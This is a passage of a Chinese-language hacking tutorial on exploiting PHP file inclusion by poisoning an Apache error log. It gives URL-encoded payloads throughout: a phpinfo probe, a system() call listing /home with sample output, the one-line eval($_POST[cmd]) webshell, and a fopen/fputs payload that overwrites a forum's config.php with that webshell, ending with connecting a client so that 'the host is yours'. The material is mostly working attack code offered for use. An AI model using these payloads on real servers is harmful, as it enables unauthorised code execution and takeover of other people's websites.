|
http://www.xxx.com/%3C%3Fphpinfo%28%29%3B%3F%3E
这样肯定会报出错找不到页面,而一出错就被记在错误日志里了 http://xxx.com/z.php?zizzy=/home/virtual/www.xxx.com/logs/www-error_log 这样这个日志文件就被包含成了phpinfo的信息,而回显也就成了一个显示php信息的页面。
如果可以的话(能够执行系统命令,也就是safe_mode开着的时候), 这样子也不错, <?system("ls+-la+/home");?> //执行命令列出home下的文件列表,记得转换为URL格式哦。
/home/ total 9 -rw-r--r-- 1 www.xxx.com silver 55 Jan 20 23:01 about.php drwxrwxrwx 4 www.xxx.com silver 4096 Jan 21 06:07 abc -rw-r--r-- 1 www.xxx.com silver 1438 Dec 3 07:39 index.php -rwxrwxrwx 1 www.xxx.com silver 5709 Jan 21 20:05 show.php -rw-r--r-- 1 www.xxx.com silver 5936 Jan 18 01:37 admin.php -rwxrwxrwx 1 www.xxx.com silver 5183 Jan 18 15:30 config.php3 -rw-rw-rw- 1 www.xxx.com silver 102229 Jan 21 23:18 info.txt drwxr-xr-x 2 www.xxx.com silver 4096 Jan 8 16:03 backup -rw-r--r-- 1 www.xxx.com silver 7024 Dec 4 03:07 test.php
这样就列出了home下的文件 或者直接一句话木马<?eval($_POST[cmd]);?>, 这样转换后就是%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E 这样的格式。 我们提交 http://www.xxx.com/%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E
再用lanker的一句话木马客户端一连就OK了。
因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。
比如还是这句一句话木马 <?eval($_POST[cmd]);?>
到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句, fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>"); fclose($fp);?> //在config.php里写入一句木马语句 我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。 转换为 %3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp %2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B fclose%28%24fp%29%3B%3F%3E 我们提交 http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww %2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp %22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E
这样就错误日志里就记录下了这行写入webshell的代码。 我们再来包含日志,提交 http://xxx.com/z.php?zizzy=/home/virtual/www.xxx.com/logs/www-error_log
这样webshell就写入成功了,config.php里就写入一句木马语句 OK. http://www.xxx.com/forum/config.php这个就成了我们的webshell 直接用lanker的客户端一连,主机就是你的了。
PS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
上一页 [1] [2] [3] [4] 下一页
|